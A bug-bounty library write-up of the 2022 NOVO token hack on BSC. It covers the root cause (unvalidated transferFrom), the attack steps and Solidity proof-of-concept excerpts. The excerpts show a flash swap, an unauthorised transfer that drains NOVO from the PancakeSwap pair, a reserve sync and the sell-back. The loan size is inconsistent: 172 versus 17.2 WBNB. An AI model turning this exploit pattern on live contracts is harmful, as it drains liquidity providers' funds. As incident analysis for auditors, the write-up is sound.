# NOVO: unvalidated transferFrom drains LP to skew price

NOVO token's transferFrom lacked allowance/from validation, letting the attacker move LP-held NOVO out of the PancakeSwap pair, skew the NOVO/WBNB price, and sell back for profit.

- Payout: Real-world hack
- Severity: high
- Program: NOVO Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2022-05-29
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-05/Novo_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220529-novo
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:access-control vuln:business-logic vuln:oracle-manipulation

**Target:** BEP-20 token contract and PancakeSwap NOVO/WBNB LP pair on BSC
**Root cause:** NOVO token's transferFrom did not verify the caller's allowance or that `from` actually authorized the transfer, so anyone could move tokens out of the LP pair's balance. Removing NOVO from the pair changed the pair's reserves and thus the NOVO/WBNB price.
**Steps:**
1. Flash-swap 172 WBNB from PancakeSwap pair `0xEeBc...2974` via `swap(0, 172e17, address(this), data)`
2. Swap borrowed WBNB for NOVO through PancakeRouter, receiving ~4,749,070,146,640,911 NOVO
3. Call `novo.transferFrom(address(novoLP), address(novo), 113_951_614_762_384_370)` to move ~113,951,614 NOVO out of the LP pair without allowance
4. Call `novoLP.sync()` to update reserves, raising the NOVO/WBNB price
5. Approve and swap all held NOVO back to WBNB via the router at the inflated price
6. Repay flash-swap principal plus fee (~4472e13 WBNB) to the pair
**How found:** Security team analysis (Chengdu LianAn) traced the on-chain attack: flash loan of 17.2 WBNB, WBNB→NOVO swap, then a transferFrom pulling NOVO out of the LP, sync, and NOVO→WBNB swap at the inflated price.
**Exploitation:** Attacker flash-borrowed 172 WBNB, bought NOVO, abused unvalidated transferFrom to strip NOVO from the LP pair, synced reserves to inflate NOVO price, sold NOVO back for WBNB at the manipulated price, repaid the flash loan and kept the remainder; ~280 BNB (~$89.6k) was later moved to Tornado.cash.
**Insight:** When auditing a token's transferFrom, check whether it enforces allowance and validates `from`; a token whose transferFrom can move any holder's balance lets an attacker drain a DEX pair's token reserve and manipulate its price via sync().

## Proof of concept (copied exactly from the original report)

**transferFrom LP tokens to skew NOVO/WBNB price**

```
novo.transferFrom(address(novoLP), address(novo), 113_951_614_762_384_370);
```

**Flashswap borrow then swap WBNB to NOVO**

```
bytes memory data = abi.encode(0xEeBc161437FA948AAb99383142564160c92D2974, 172 * 1e17);
        PancakePair.swap(0, 172 * 1e17, address(this), data);

        emit log_named_decimal_uint("[End] After repay, WBNB balance of attacker", wbnb.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        // 攻擊者先買入 NOVO Token
        // 透過 NOVO Token 的 transferFrom 未過濾 `from`
        // `from` 指定為 NOVO/WBNB 的 LP pool, 即可操縱 PancakeSwap NOVO/WBNB 的價格
        // 攻擊者再賣出 flashswap 借來的 NOVO Token 即可獲利

        address[] memory path = new address[](2);

        emit log_named_decimal_uint("[*] Attacker flashswap Borrow WBNB", amount1, 18);

        // Use borrow WBNB to swap some NOVO token
        emit log_string("[*] Attacker going swap some NOVO...");
        wbnb.approve(address(PancakeRouter), type(uint256).max);
        path[0] = address(wbnb);
        path[1] = address(novo);
        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            172 * 1e17, 1, path, address(this), block.timestamp
        );
```

**Sync LP then sell NOVO for profit**

```
novoLP.sync();

        // Swap NOVO to WBNB, make attacker profit
        emit log_string("[*] Attacker going swap some WBNB...");
        novo.approve(address(PancakePair), novo.balanceOf(address(this)));
        path[0] = address(novo);
        path[1] = address(wbnb);
        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            novo.balanceOf(address(this)), 1, path, address(this), block.timestamp
        );
        require(wbnb.balanceOf(address(this)) > 172 * 1e17, "Exploit Failed");
```

